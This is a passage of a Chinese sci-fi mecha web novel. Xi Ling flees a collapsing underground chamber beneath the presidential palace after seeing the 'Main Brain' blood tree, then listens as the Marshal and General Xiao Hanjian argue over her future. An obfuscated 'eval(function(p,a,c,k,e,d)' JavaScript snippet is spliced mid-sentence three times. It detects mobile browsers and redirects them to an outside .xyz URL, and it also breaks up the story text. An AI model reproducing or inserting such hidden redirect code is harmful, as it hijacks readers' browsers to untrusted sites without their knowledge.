它死了,它和上一代凯撒的故事也就此结束。 但它产生的影响,并未因它的死亡而画上句号。 在它死亡的一瞬间,尚还温热的尸体散发出大量谐波。那谐波强烈得肉眼可见,一圈又一圈如涟漪般在这片空间中扩散。 四周的石壁因能量冲击开始震动,无数细小的石块簌簌撒落。 这片地底空洞俨然要崩塌! 皇帝鸣叫一声,眨眼间释放出大量半透明的外骨骼,将凯撒保护得如同琥珀里的昆虫。 郗灵操控龙姬抓起那只“琥珀”,一只手撑住摇摇欲坠的穹顶,另一只手“咔哒”一声,甩出镶嵌在装甲臂匣里的激光炮。 她将漆黑的炮口对准上方,一团球状激光在炮口缓缓汇聚、变大。 这里是地底,一旦塌方必然被泥沙掩埋。 她一个人的力量根本无法阻止崩塌,保护场地已成奢望,眼下的第一选择,无疑是带人逃出去。 泥沙崩泄,碎石纷落,地底的动静很快引起了地面的注意。 郗灵听见了无数道心跳声——那是一台台深入地底的勘察机甲发出的。 地面之上便是总统府,不出五分钟,这里发生的一切都将进入总统的视线。 激光束还在凝聚,郗灵死死咬紧牙关。 突然间,一根细小的枝条悄悄爬上了龙姬的脚背。 那枝条仿佛凭空从地底冒出。郗灵猛地低头,愕然发现不知何时起,原本布满灰尘与泥土的地面,竟密密麻麻爬满了枝条。 那些枝条既像怪物的腕足,又似猩红的树枝,半透明的表皮下,暗红的液体如血液般缓缓流淌。 郗灵看得头皮发麻,一时分不清这些诡异的枝条是死物还是活物。 她满脑子只有“尽快离开”的念头,连忙操控龙姬举稳激光炮,就要朝穹顶开炮打出一条通道。 可一根枝条突然向上生长,直直立在龙姬的头部附近。 “噗嗤!” 一阵令人牙酸的诡异蠕动声中,枝条表面向内翻卷,竟露出一张模糊的“嘴巴”! “请不要毁掉这里,郗灵。”那张诡异的嘴巴竟口吐人言,“我的主机房,就在你的脚下。” 话音刚落,地面上的枝条开始窸窣生长。 猩红的枝蔓以某种奇异的规律交织排列,最终形成一个带着十个圆盘的树形符号。符号成形的瞬间,一道血红色光阵骤然扩散,而那只死去胚胎散发出的谐波,竟被这光阵彻底覆盖、吞噬。 龙姬发出痛苦的嗡鸣,“皇帝”包裹凯撒的外骨骼也开始出现裂痕。 郗灵听着龙姬的哀鸣,攥着那只缓缓碎裂的“琥珀”,目光死死锁定由枝条组成的树形符号,以及它散发出的血色光阵。 这东西,她太熟悉了! 即便这是第一次亲眼见到,她也对这道气息毫不陌生! “生命方程式!”郗灵深恶痛绝地喊出这“树形光阵”的名称,又怒视着那根凝聚出嘴巴的猩红枝条,“主脑,你到底是什么东西?” 联邦是有机生命建立的政权,科技发展也大多偏向生命领域。 “伊甸”的主机房是由无数人脑组成的集群湿脑,那么同为联邦超级计算机的“主脑”,自然不会是一堆冰冷的硅基组件。 主脑没有回答郗灵的问题。 它的枝条在这片空间里疯狂增殖,根茎从地底更深处蔓延而出,仿佛沉睡的种子生出了畸形的嫩芽。 这片摇摇欲坠的空间,因疯长的枝丫暂时得到支撑,可更多枝条却朝着场中最大的生物——龙姬蔓延而来,宛如饥饿的菟丝子,要将龙姬彻底缠绕、吞食。 郗灵冷笑一声,立刻将瞄准头顶的激光炮调转方向。 她瞄准了地底——“主脑”主机房所在的位置! 轰! 完成蓄能的能量球瞬间化作一束刺眼的激光,从滚烫的炮口喷射而出,强大的后坐力甚至让龙姬踉跄了一下。 地底被这一炮轰出一个巨大的空洞,无数猩红枝条瞬间蔫萎枯死,像一条条失去生机的红蛇。 那些朝龙姬袭来的枝条,也在瞬间失去了汹汹攻势。 但郗灵没时间为暂时脱险而庆幸,她瞪大双眼,死死盯着自己轰出的巨大地底空洞—— 初代皇帝豢养巨龙的传说绝非空穴来风,可郗灵抵达两代凯撒决斗的现场时,心中曾难免生出疑惑: 这里的空间,实在是太小了。 若要豢养一头真正的巨龙,即便以如今的机甲类比,龙的高度至少也有15米,如此狭小的空间恐怕连转身都难,又怎么可能容得下一头巨龙? 而现在,这个疑惑终于解开了。 出现在郗灵眼前的,是一个更加巨大、空旷且漆黑的空洞,仿佛直通地狱深处。 地底的光线本就微弱,那些人造灯具发出的微光,在这巨大的空洞面前显得微不足道——即便光明拼尽全力扩散,也照不亮半分黑暗,反倒是黑暗,足以将所有光明彻底吞噬。 那些诡异的猩红枝条,同样源自这地底深处。 郗灵望着眼前的巨大空洞,鬼使神差地操控龙姬,抓住了其中一根垂落的枝条。 咚咚! 咚咚! 咚咚! 一瞬间,无数道心跳声猛地涌入郗灵的耳朵! 那心跳声纷乱而嘈杂,绝非来自单一活物,而是数以万计的生命共同发出的搏动。 郗灵从未被如此密集的心跳声包裹,下意识想要松开枝条,可那枝条仿佛突然有了意识,猛地缠绕住龙姬的手臂。 纤细的末梢顺着指缝蔓延,竟像人一般,与龙姬的五指交叉相扣。 郗灵瞳孔骤缩,浑身紧绷。 就在枝条缠紧龙姬的瞬间,她的视野突然开始疯狂下坠,顺着枝条的生长路径,从最末端的枝丫一路抵达了最初的根系。 映入眼帘的,是一棵高大壮美的血色巨树。 黑暗的地底,巨树的枝干上流动着猩红的光路,那些“枝条”宛如交错的通道,将十个圆盘状的“果实”串联起来。 它孤独地、安静地伫立在空旷的地下空间里,无数条透明导管刺入它的根系,又蜿蜒着向上延伸。红色的液体经导管过滤、稀释,在半途转化为明亮柔和的琥珀色,最终输送到排列在空间各处的培养罐中。 郗灵一眼望去,根本数不清培养罐的数量。 那绝对是个天文数字,或许是二十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450693|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万,或许是五十万,甚至可能是一百万。 每一只培养罐都灌满了血色巨树产生的琥珀色溶液,罐中都静静浸泡着一个“生命”:它们处于不同的生长阶段,有的只是一团模糊的肉块,有的则已清晰发育出躯干与头颅。 郗灵看不清培养罐里“人”的模样。 可下一秒,所有“人”竟齐齐转向了她! ——这一幕,足以让任何人毛骨悚然! 郗灵浑身一颤,意识瞬间回归了身体。 她像甩掉烫手山芋般甩开手中的枝条,又朝上方猛地开了一炮,轰出一条逃离地底的通道后,立刻驾驶龙姬飞速冲了出去。 泥沙不断陷落,地面彻底坍塌。 地面上,总统府的安保力量还未来得及反应,一束激光已从地底射向天空。下一秒,漫天飞尘炸开,一台机甲冲破地面,强行突围而出。 “那是谁的机甲?”警卫惊愕地大喊,“主脑突发故障,怎么可能有人能驾驶机甲?” 龙姬裹挟在飞尘中迅速遁逃。 总统府的安保力量因主脑瘫痪,半数机甲无法正常启动。剩下的警卫试图举枪朝机甲射击,可一场瓢泼大雨突然倾盆而下,打断了他们的追击节奏。 等他们再次举枪时,那台闯出总统府的机甲早已没了踪影。 中央区的天气由“伊甸”控制,而有权命令伊甸的,只有总统、太子与元帅。 秘书撑着黑伞,总统静立在伞下。 他的脸庞保养得宜,却难掩岁月留下的苍老,唯有一双翡翠色的眼眸,如古井般不起波澜。 总统望着因地面塌陷,渐渐向地底倾斜的总统府—— 这座总统府,建在昔日皇宫的旧址上。 而皇宫,曾是皇帝的居所。 即便皇帝已死、帝国覆灭,如今的联邦,依旧摆脱不了帝国的影子。 龙,或是机甲,这本就是一脉相承的力量。 如今,知晓这个秘密的人,除了奥古斯都家族与杜尚别元帅,便只有总统和莱茵。 ……不,还有一个人。 或者说,龙。 总统缓缓伸出一只苍老的手,掌心向上,接住了伞外落下的几滴雨水。 他翡翠色的眼眸微微低垂,掩去了眼底的思索、沉郁,以及那份噬人的野心。 “不必继续搜查那台机甲了。”总统开口说道,收回了伸在伞外的手,“总统府没了可以再建,但被惊动的鸟儿……一旦飞走,就再也不会回来了。” …… 郗灵坐在椅子上,安静得像只鹌鹑。 她从没想过,自己有朝一日竟能炸掉总统府——可这放在平日足以震动整个联邦的举动,在眼下的场景里,竟连半分注意力都抢不到。 “老头儿!”萧寒剑猛地一拍桌面,腾地站起身,“我把郗灵放在你这里,是让你护着她,不是让她替你趟这趟浑水的!你到底为什么——” “寒剑,你太天真了。”杜尚别坐在轮椅上,胸前的发音装置嗡嗡运转,机械音里裹着一丝沉哑,“保护?我们能护她一时,难道还能护她一世?” 郗灵悄悄缩了缩脑袋,连大气都不敢喘。 谁会傻到去打断凤凰上将和开国元帅的争执? 至少她郗灵,没这个胆子。 61. 争吵 二人争吵的声音回荡在空气里,但下一刻,沉默便像潮水般涌了上来。 萧寒剑站在原地,手按在桌面上,指节因为用力而泛白,显然还没压下怒火。 她刚才那句怒吼,像是把十几年憋在心里的委屈与不满,一股脑儿全质问了出来。 可杜尚别这轻描淡写的一句话,又像一盆冷水,瞬间浇灭了她的火气,只留下满心的憋闷。 郗灵坐在一旁装鹌鹑,余光却悄悄观察着两人。 她见过萧寒剑温和的模样——上将会笑着在矿星的沙地上拼写她的名字,会在她最不安的时候悄然握住她的手,会在她脱离医疗舱时及时给她披上大衣,会笑眯眯地看着她捧着饭碗大快朵颐。 她也见过萧寒剑冷峻的姿态——上将仰头凝视降落的第七军团舰队时,眼底流露出高位者的冰冷;上将在前线率军抵挡机械军团时,通讯频道里的声音也冷得像冰。 可唯独萧寒剑愤怒的样子,她只在自己上次失控暴走时,隐约瞥见了一点点苗头。 即便那时她险些性命不保,萧寒剑的怒火也始终带着克制,从没有像今天这样,像是彻底豁了出去——仿佛杜尚别的所作所为,已经完全踩碎了她的底线。 郗灵忍不住在心里细数,离开萧寒剑这些日子,自己到底做了多少大事—— 她参与了研究院的“胚胎”项目,还剥离了龙姬身上的生命方程式; 她进入了觐见之塔,意外和塔顶的“白星”产生了联系,见证了联邦一些隐秘的往事; 她杀了下议院议长林德; 她干涉了奥古斯都家族内部的决斗; 她潜入皇宫地底,看到了那些密密麻麻悬挂的培养罐,还有那棵诡异的血色巨树。 最后,她还把总统府给炸了。 可做了这么多惊世骇俗的事,她离开萧寒剑其实才多久? 不过一个多月,连两个月都不到。 想到这里,郗灵悄悄缩了缩肩膀,垂着头不敢吭声,生怕自己再引火烧身。 萧寒剑也察觉到自己刚才爆发得太突然,尤其是在郗灵面前。 她缓了缓神,深吸一口气,努力挤出一个温和的笑容,伸手揉了揉郗灵的头发,语气也软了下来:“郗灵,你先到外面等会儿吧,我和元帅有话要谈。” 郗灵望着萧寒剑的眼睛,那里面藏着她看不懂的复杂情绪——有担忧,有疲惫,还有一丝难以察觉的慌乱。 她没多问,沉默地点了点头,刚要起身—— “让她留在这里。”杜尚别的声音突然响起,冷硬得像淬了冰,没有半分商量的余地。 萧寒剑和郗灵同时顿住,双双转头看向杜尚别。 他坐在轮椅上,华贵的衣料裹着枯瘦如柴的身体,一双昏沉的老眼此刻完全睁开,眼底翻涌着不容置疑的威严,竟压过了周身的衰老之气。 他早已衰老到无法用自己的声带说话,只能依靠外置发音装置,可此刻那装置里传出的声音,却比任何时候都坚定,仿佛铁锤砸在钢板上。 “让她用自己的耳朵听,用自己的眼睛看,用自己的脑子判断,”杜尚别说,“寒剑,她已经成年了,必须亲自决定自己未来的路,你不能保护她一辈子。” 萧寒剑眉头拧得更紧,眉心几乎要挤出一道深痕。 她显然不服气,语气却软了些,带着几分恳求:“可有些事太复杂,也太危险,她现在还不该知道……” “我知道你心里一直怨着什么,寒剑。”杜尚别没接她的话,话题陡然转向更深的暗处。 他缓缓开口,声音里带着岁月沉淀的沉重:“你怨联邦长年陷于战火,让你八岁就成了无父无母的孤儿;你更怨我教养你的方式太过严苛无情,让你从来没体会过真正的父爱与母爱——你的情感世界,本就是一片凛冽的冰天雪地,你后来那温和的表象,不过是在虚无的地基上,对‘温情’最拙劣的模仿罢了。” 这番话像一把钝刀,慢慢割着萧寒剑的心。 她嘴唇动了动,想说些什么,最终却只是抿紧了唇,没反驳一个字。 杜尚别说的,全是她藏了几十年的心事,是连自己都不敢深想的隐痛。 郗灵紧缩眉头,手指无意识地蜷了蜷。 她不敢说话,却悄悄在桌底伸出一只手,轻轻搭上了萧寒剑的手。 那只手冷得像冰,还在微微发颤。 她没敢用力,只是一点点、慢慢地握紧了。 杜尚别将这一幕尽收眼底,却没阻拦,只是继续沉声道: “你盼着她能平安、幸福、顺遂地过完这一生,不用像你一样,从小就活在战火和鲜血里。” “你是维尔莱德军校的第一届毕业生,当年联邦战事吃紧,亟需能上战场的人才,你们那一届学生,接受军事训练的时长只有短短六个月。” “你和同期的637名战友,连武器都没完全摸熟,就匆忙奔赴前线——可如今还活着的,只剩你一个人了。” “你因从未得到,所以拼命想让郗灵得到……这是你基于你的人生,幻想出来的另一条路,可你凭什么觉得,那条路对郗灵一定就是好的?” 萧寒剑彻底沉默了。 她的头微微垂着,肩膀也垮了些,连背脊都似乎比刚才弯了一点,整个人像被抽走了力气。 过了好一会儿,她才慢慢抬起头,声音轻得像风中的叹息:“……就因为我成为了凤凰上将,所以郗灵也该走我的路?我不想她过这样的生活,又有什么错呢?” 郗灵坐在一旁,看着萧寒剑的样子,心也跟着揪紧,像被一只无形的手攥着。 她从没见过萧寒剑这样。 曾经像骄傲的凤凰一样,永远挺直脊背、眼神亮得像星的人,此刻竟透着股说不出的失魂落魄,连眼底的光都暗了下去。 战无不胜的凤凰上将,原来也会有这样脆弱的时候吗? 萧寒剑像是没察觉到郗灵的目光,只是定定望着杜尚别,把憋在心里几十年的话,一点点慢慢倒了出来: “我是战争的孤儿,郗灵也是。我被您抚养长大,却也吃尽了旁人没吃过的苦。” “那时联邦弱小,战火连天,民不聊生,多少女孩儿为了讨一口饭,十几岁就匆匆嫁人。” “您蔑视这种风气,亲口说,要把我当成男孩儿教养。” “我心里不能有一丝软弱,哪怕受了伤、流着血,也得咬着牙往前走,半条退路都不能留。” “我的每一滴血、每一滴汗,都得为联邦而流——这是您教我的,我记了一辈子。” “您甚至说,我不会有丈夫或妻子,更不会有孩子……只因那时国穷民弱,而我恰好有极高的机甲天赋,这份天赋,正是当时的联邦最需要的‘武器’。” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456211|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这里,她的声音终于忍不住发颤,带着压抑多年的委屈和不甘:“可是……只有我过这样的日子就够了啊!如今联邦已经富强了,我流的血汗早已化成了联邦坚不可摧的基石,我也为联邦铺好了通往光明的康庄大道。为什么我的女孩儿……为什么郗灵不能安安稳稳地享受这份光明?” “你觉得现在的联邦,真的光明吗?”杜尚别突然反问。 这声音很轻,轻得像落在水面的羽毛,却又像一颗石子,砸在两人心里,泛起层层涟漪。 萧寒剑瞬间僵住,瞳孔微微收缩。 可杜尚别没有给她思考的时间。 他抬起枯瘦如树枝的手臂,指尖尖细得能看清凸起的骨节,直直指向了郗灵的额头。 杜尚别的声音里突然爆发出前所未有的愤怒,连外置发音装置都带着细微的电流杂音:“你视若珍宝的这个孩子,你从灰扑扑的小可怜养得亮晶晶的这个孩子,你几乎当成半个女儿疼的这个孩子——就在我的眼皮子底下,被一枚狙击弹射穿了脑袋!” 这是杜尚别第一次如此失态。 他的声音里带着开国元帅独有的威严,却被怒火烧得发颤,哪怕是郗灵醒来时,也从未见过他流露出这般浓烈、几乎要溢出来的怒火。 直到萧寒剑为郗灵据理力争,在这个他当作亲生女儿养大的孩子面前,他才终于泄露出一丝隐秘的、积压了太久的愤怒。 “我是开国元帅,你是凤凰上将,钱、权、势,我们一样也不缺!可这又有什么用?”杜尚别枯瘦的手掌“啪”地一声,重重拍在轮椅扶手上,“我于一片泥泞中创立联邦,你于一片战火中开疆拓土,可郗灵……她却不在那些人规划好的‘未来’里!” 萧寒剑被这番话震得有些发懵,嘴唇动了动,却一个字也说不出来。 郗灵却一瞬间猛地清醒—— 龙! 她是龙! 连伟大的国父都会被那些贪婪的豺狼分食,如今她既无功绩、也无威名,不过是个特殊的“异类”,凭什么不会成为下一个被瓜分的猎物? 她猛地抬头看向杜尚别,想从他眼里找到否定的答案,哪怕只是一丝余地。 可杜尚别的目光始终牢牢落在萧寒剑身上,半分也没分给她,仿佛这场对话,从始至终都是他与萧寒剑的“战争”。 ——这不是一场简单的争执。 ——这是元帅对上将的敲打,是长辈对晚辈的警醒,更是父亲对女儿的教诲。 ——杜尚别在逼着萧寒剑看清现实的残酷,直面藏在“光明”下的阴影,反抗那些早已注定的“命运”。 ——女儿永远是父亲的女儿,但女儿如今也有了想护着的女儿,她在她的女儿面前,不能再是躲在父亲羽翼下的人,必须是一位能独当一面的母亲、一位能撑起屏障的强者。 “她实在太特殊了,特殊到能让那些人彻底疯狂,能让他们为了利益,开启新一轮的分配。” 杜尚别的声音终于放缓了些,却比刚才的暴怒更加沉重:“她要是不想任人鱼肉,不想成为新一轮狂欢里被分食的猎物,就必须亲自坐上权力的餐桌,成为第一个举起刀叉的人。” “我对你已经足够严厉,可对她,我只会更加严苛。” 他顿了顿,目光扫过萧寒剑苍白的脸,一字一句地加重语气:“因为她即将面对的,比你当年要危险千百倍!” 62. 不平等的对峙 萧寒剑一时怔住,没有说话。 郗灵反手一握,紧紧握住萧寒剑那只冰冷的手,双眼直直地盯着杜尚别,问道:“校长,我即将要面临的,是什么?” 杜尚别是萧寒剑的养父兼师长,他含辛茹苦将萧寒剑抚养成人,萧寒剑有再辉煌的功绩,也没有立场因他人的命运和杜尚别据理力争。 但这份命运是郗灵自己的。 她尊敬杜尚别,无论对方是校长、元帅还是师祖,但杜尚别已经表态,要干涉甚至控制她的人生,她在此刻必须强硬发声。 杜尚别没有卖关子。 他说:“你会在物理意义上,成为餐桌上的一道佳肴。” 郗灵顿时一惊:“什么?” 但反应更大的是萧寒剑。 她身居高位,已经触碰过联邦的暗面。 听闻此句,她的脸色骤然苍白如纸,“啪”地一声跌坐回椅子上,那只被郗灵紧握住的手也砸上座椅扶手,一下子硌得郗灵生疼。 但郗灵还来不及吃痛皱眉,萧寒剑立刻反握住她的手。 萧寒剑上身转向郗灵,脑袋深深埋下,郗灵的手也被她抓着抵在自己的额头上。 郗灵感受到,萧寒剑的额下跳动着青筋,流淌着沸血。 ——她在愤怒,宛如一座火山即将爆发。 郗灵怔怔看了几秒,冷汗“刷”地爬满后背。 她猛地扭头看向杜尚别,却见这位风烛残年的老人,正睁着一双锐利的老眼,审视着面前两个晚辈的反应。 下意识的,郗灵的脑子飞快转了起来。 ——第一,此事是真是假? 把活人做成菜,这无疑践踏了人类的道德底线。 但郗灵竟然觉得,联邦的“上流社会”真的做得出这样的事。 她是战争的受害者,却被联邦商人以“救助”之名卖去矿星。 但受害者有她,却不只有她。 墨菲曾说,战争,是权贵敛财的手段。 萧寒剑打得机械军团节节败退,但一道又一道军令从中央星发出,让萧寒剑投鼠忌器,迟迟无法结束战争。 公民的苦难与眼泪,血汗与脂膏,已以最残忍的方式,转化为上位者手中的财富和金银。 千千万万苦难的人民,在那些高高在上的人眼中,却并不是“人”,而是各有用处的“资源”。 连战争都能拿来敛财,这样畸形变态的手段,毫无疑问只会出自一群三观扭曲的人。 ——第二,此事为什么会发生在她身上? 她无法理解,把活人做成菜有什么好处。 她也不可能想通疯子的逻辑,不然,她也离疯掉不远了。 但……如果目标是她,她竟然能想到一个合理的理由。 因为,她是龙。 龙是强大的生灵,被人觊觎、争夺甚至拆吃入腹,都是可以想象的。 进食可以填饱肚子,消灭虚弱,获得热量和生机。 对食物的需求,是人的底层欲望。 吃掉一头龙,对那群上位者而言,无疑是一场饕餮盛宴。 ——第三,她是什么时候被盯上的?以及,杜尚别为什么选择现在告诉她? 她的位置不够高,她的视野不够广,她手中的情报和耳边的消息都太少了。 这两个问题,她无法想出答案。 但…… 郗灵看着萧寒剑。 萧寒剑已经抬起低垂的头,郗灵那只抵在她额头上的手,也顺势来到了她的唇边。 她脸上的苍白之色一扫而光,取而代之的,是狮子锁定猎物般浓烈的杀意。 “我高估了伊甸,它可真是总统最忠诚的狗。”萧寒剑一字一顿,眸底寒光似冰,“你的那份体检报告,在母舰数据库同步联邦智库前,就已经被销毁,唯有墨菲那颗聪明的大脑记住了它。” 郗灵的心跳了跳:“你为什么不怀疑墨菲?” “我忌惮墨菲,但他敢为了科学,在军部和研究院的关系降至冰点时请求随军。他在踏上母舰的那一刻,就没想过活着回中央星,更不会为了功名利禄,杀死能给他的实验带来巨大突破的你。”萧寒剑说,“郗灵,你还记得那次暴走吗?那时,墨菲把他的算力交给了伊甸,伊甸一定借此窃取了你的体检数据,并把这份数据上报给了总统!” 郗灵听得怔然,却忽略了杜尚别的眼神。 那是一种饱含叹息的深沉眼神,叹人误入歧路,叹人作茧自缚,叹人一叶障目。 但他飞快收起了这种眼神。 因为郗灵再次看向了他。 “校长。”郗灵没有使用“元帅”这一称呼。 她轻轻松开握着萧寒剑的手,拍了拍对方的手背,又站起身,一步步走到杜尚别面前,主动拉近了和他的距离。 她的视线本比轮椅上的杜尚别高一些,却既没有以俯视者的姿态居高临立,也没有以仰视者的姿态刻意蹲下——她选择了平视,身体微微下蹲,脑袋前倾,目光牢牢锁住杜尚别的眼睛。 这姿态说是狩猎也不为过。 但联邦之中,谁敢威胁开国元帅? 杜尚别眯起眼与郗灵对视,表情古井无波:“你想说什么,小友?” 郗灵歪了歪脑袋,这让她看起来更像一只正在狩猎的野兽了:“校长,感谢您告诉我这些,我能感受到您是个好人,您没有让我一无所知地成为他人的盘中餐,但您的好意……似乎仅仅止步于此了。” 杜尚别第二次完全睁开了昏沉的老眼。 他的视线扫过萧寒剑,又看向郗灵,轻笑一声:“此话怎讲?” “如果您想帮我更多,您为什么不在我中弹苏醒的那个夜晚,把这一切对我和盘托出?”郗灵的思路很清晰,她对别人的善意和恶意都很敏锐,“我原本想过,凯兰对我射出那一枪,或许只是林德的手笔。但我如此轻易地杀死了林德,仿佛他是送给我的一份礼物,这样的他,怎么可能是真正想杀我的人——他也是一只白手套,仅此而已。” 杜尚别安静地看着郗灵,眸底闪过一抹稍纵即逝的欣赏。 “我在中弹后复活,这既让您的猜想落了实,也让那些人的猜想落了实。但您和他们不同——我是上将的学生,您不会和上将离心,自然也不会成为分食我的‘食客’。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465852|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”郗灵继续说,“但是,您对上将的教育方式,是把她扔进战火里磨砺,您自然也不会让我成为只会躲在您身后,一味接受庇护的弱者。” 郗灵停顿片刻。 她的心,正在怦怦狂跳。 “您想看一看,我到底值不值得您培养。” ——那个细雨迷蒙的猎杀之夜,她在红色观光塔上开出那一枪时,到底有多少双眼睛盯着自己? “迄今为止,您对我似乎是满意的。” ——如果不满意,她不会活着离开观光塔,更不会活到今天,看到萧寒剑为了她和杜尚别对峙。 “我看不透您的打算,更看不透您对我到底有几分真心,但人心本就是复杂的,您对我好,又不要我的命,甚至愿意帮我一把,这已经足够了。” ——杜尚别是个危险人物,他在帝国时代杀死了皇帝,又在联邦时代对国父开枪,他没有什么不敢做的。 ——但所幸,她被萧寒剑看重,而萧寒剑又被杜尚别看重,即使杜尚别对她的爱远不及萧寒剑,她也不至于多一个敌人。 杜尚别静静地看着郗灵。 郗灵也一直平视着杜尚别。 她明白杜尚别是个好人,但他的好比不上萧寒剑。 萧寒剑看到了她的潜力,却对她没有任何要求,还怜惜她的过去,把她送进学校,只希望她远离鲜血和战争。 杜尚别也看到了她的潜力,但他选择给她一把狙击枪,用一张隐形的试卷测试她的野心。 因此,即使杜尚别是开国元帅,即使杜尚别的权势远胜过萧寒剑,但她和他,只会是平等的利用关系,而绝不会成为所谓的“祖孙”或“忘年交”。 她不会在他身上奢求真挚的情感。 即使几分钟前,杜尚别还因为郗灵中弹一事,在萧寒剑面前流露出真切的愤怒,但她不会也不可能去想,他的愤怒有几分是因她而起。 这没有意义。 良久,杜尚别打破了沉默。 他满脸感慨,却又轻快地笑了一声,睁开的老眼缓缓合上,神色也从先前的锋利重新变得温和,仿佛一柄饱经风霜的宝刀缓缓入鞘。 他轻声呢喃:“果然啊……你和他,骨子里都一模一样。” 郗灵沉默。 那个“他”,自然是指维尔莱德。 “你通过了我的考验,从今天起,只要你愿意,我会把你当成未来的‘国父’来培养。”杜尚别抬起手,隔空示意萧寒剑坐下,“寒剑,这下你也可以放心了,郗灵比你想象中更居安思危,你希望她做一个无忧无虑的学生,但她并不甘心接受我的庇护。” 萧寒剑根本没听到杜尚别的话。 她复杂地看着郗灵,眼底有怜色闪动。 萧寒剑虽为凤凰上将,却始终没有摒弃人性中的那份善良。她从郗灵看似主动的选择里,品出了深藏的不安与无奈。 ——郗灵是被群狼环伺的猎物,若想反击,便只能借势而为。 ——她没得选,仅此而已。 郗灵和萧寒剑静静对视。 但杜尚别道:“郗灵,首先,你必须退出机甲联赛。” 63. 我的心愿 “为什么?”郗灵问道,语气里带着一丝困惑。 杜尚别面色平静地迎上她的目光,语气却不容置喙:“参加联赛对你而言,不是最优选。想杀你的人,哪个不是位高权重?你要让他们生出忌惮、无从下手,就得一边磨硬自己的实力,一边积攒人脉和资本——你的时间和精力,本该用在回报率更高的事上。” 这番话条理清晰,郗灵没有立刻反驳,只是顺着他的思路追问:“您的意思是,把参加联赛的时间腾出来做别的,我反而能进步得更快,对吗?” “军校机甲联赛的参赛者来自联邦十大扇区,能通过海选的更是天才中的天才。”杜尚别语气稍缓,却依旧带着不容转圜的强硬,“但本质上,这只是学生间的小打小闹。这场向全联邦公开的赛事,因为人数受限,许多精妙的战术都无法施展,你的军事素养,在这儿根本得不到该有的锤炼。” 他顿了顿,目光沉沉地落在郗灵脸上,语气多了几分郑重:“如果你是我真正的学生,我会像当年带萧寒剑那样,把你送到你真正该去的地方。” “什么地方?”郗灵眼睛一眯。 杜尚别没有卖关子,微笑着给出答案:“联邦边境,星域战场。” 听闻此句,郗灵陷入沉默。 她是星球遗孤,战场的残酷与现实,她比谁都清楚。 即使,那些只为给履历镀层金的世家子弟,尽可以缩在军事堡垒里混日子——他们只需偶尔扛着枪去战场边缘扫两梭子弹,背后有联邦提供的精良装备、源源不断的物资兜底,待满三年,揣着混来的军功转身离开,就能在军部谋个不错的职位。 可真正的仗,从不是他们在打。 一将功成万骨枯,绝非戏言。 战场从不需要虚与委蛇,实力是唯一的通行证,同伴的强弱,直接攥着彼此的生死线。 哪怕是最底层的小兵,也盼着队友是能托付后背的强者,而不是只会躲在身后拖后腿的混子。 但郗灵也看得明白,杜尚别的建议没有半分虚情。 他是真的想让她快点成长,成长到能在那些暗处的刀锋下站稳脚跟,不必再时刻提防未知的危险。 如果真的去了前线,她绝不会像那些世家子弟一样混日子。 她会像在觐见之塔中、跟随芬迪尔的那七年一样——每一颗子弹都瞄准敌人,每一次厮杀都拼尽全力,一枪一炮,都要亲手挣出自己的生路。 萧寒剑已经走通了这条路:远离中央枢纽,凭实打实的军功积累声望。 而萧寒剑能守住心底的善良,很大程度上,正是因为躲开了中央星的政治漩涡——某种程度上,政治比战争更加血腥。 这么看来,对郗灵而言,去边境战场确实是条最稳妥的韬光养晦之路。 可郗灵没有点头同意。 她向来贪心。 机甲联赛里那种酣畅淋漓的决斗,她想要;边境战场上那种血与火的磨砺厮杀,她也想要。 两条路,她都想要! “校长,我没有权利改变您对联赛的看法,这是您的自由。我也不会用‘我有选择的自由、我拥有参加联赛的资格’这类话来劝说您——对您而言,这些理由毫无意义。”郗灵语气平静,态度却格外坚定,“您想把我送去前线,我明白您的用意:一是让我尽早积攒军功、建立声望,二是让我远离中央星的纷争与漩涡,免得哪天不明不白死于他人之手。” 她微微一顿,加重了语气:“但我并不认为,这就是眼下最好的选择!” 萧寒剑在一旁静静听着,没有打断。 她太了解杜尚别了。 他看似温和宽容,骨子里却无比高傲,唯有那些不甘屈从、敢于坚持自我的灵魂,才能让他青眼有加。 他向来欣赏勇于表达观点的人,若是这份观点还能有理有据、颇具价值,他只会更加欣慰。 杜尚别微微颔首,语气听不出波澜:“继续说,我在听。” 郗灵迎着他的目光,条理清晰地阐述: “您觉得机甲联赛只是学生间的小打小闹,这一点我理解。可没有人生下来就完美,任何人的成长,都需要一个循序渐进的过程。” “我和其他同龄天才切磋,不只是单纯的竞争,更是年轻一代之间的交流。” “这段经历很珍贵,但更珍贵的是,我能在比赛过程中,结识许多的同行者。” “现在这些尚显稚嫩的学生,毕业后会进入联邦各界,未来,必定会成为新的中流砥柱。” 